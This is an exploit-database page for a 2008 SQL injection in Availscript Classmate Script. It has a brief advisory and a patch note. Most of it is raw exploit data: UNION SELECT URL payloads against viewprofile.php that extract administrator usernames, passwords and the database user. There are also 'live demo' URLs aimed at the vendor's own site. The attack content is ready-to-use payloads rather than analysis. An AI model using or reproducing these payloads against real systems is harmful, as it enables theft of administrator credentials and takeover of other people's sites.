header-logo
Suggest Exploit
vendor:
Classmate Script
by:
Stack
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Classmate Script
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Availscript Classmate Script Remote SQL Injection Vulnerability

Availscript Classmate Script is prone to a remote SQL injection vulnerability. An attacker can exploit this issue to manipulate SQL queries and gain access to sensitive information that may lead to further attacks. The attacker can also gain access to the administrator account by exploiting this issue.

Mitigation:

The vendor has released a patch to address this issue. Users are advised to upgrade to the latest version.
Source

Exploit-DB raw data:

Availscript Classmate Script Remote SQL Injection Vulnerability
home script : http://www.availscript.com/classmate_script.php
By : Stack
befor execute exploit you need to register
exploit
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
site.il/script/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--
live demo
username
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,username,6,7,8,9,10,11,12,13,14,15,16,17+from+admin--
http://www.availscript.com/classmate/viewprofile.php?p=-1%20union%20select%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17--

# milw0rm.com [2008-09-09]